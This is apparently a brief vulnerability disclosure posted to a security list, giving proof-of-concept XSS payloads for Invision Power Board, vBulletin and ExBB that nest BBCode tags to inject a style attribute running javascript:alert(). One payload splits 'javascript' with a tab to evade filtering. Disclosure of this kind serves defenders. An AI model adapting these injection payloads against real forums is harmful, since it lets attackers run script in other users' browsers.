XSS was found in the nested BB tag in many forum:

Invision Power Board:
[COLOR=[IMG]http://aaa.aa/=`aaa.jpg[/IMG]]`
style=background:url(javascript:alert()) [/COLOR]

vBulletin
[EMAIL=[URL=s as=`s (at) wew (dot) ew [email concealed]]mailto:assss (at) wew (dot) ew [email concealed]]
sssssss[/URL][/EMAIL]` style=`background:url(javaSCrip
t:alert(/Hi_from_Algol/))` (using tab between "javaSCrip" and "t")

ExBB
[color='[url]http://rerer.rew[/url]]fffff[/color]'
style=background:url(javascript:alert());

Other forum and other BB tag may be vulnerable. Examples above work only in
Internet Explorer.

More info - http://www.securitylab.ru/51808.html and
antichat.ru/txt/IPB/index3.php

[ reply ]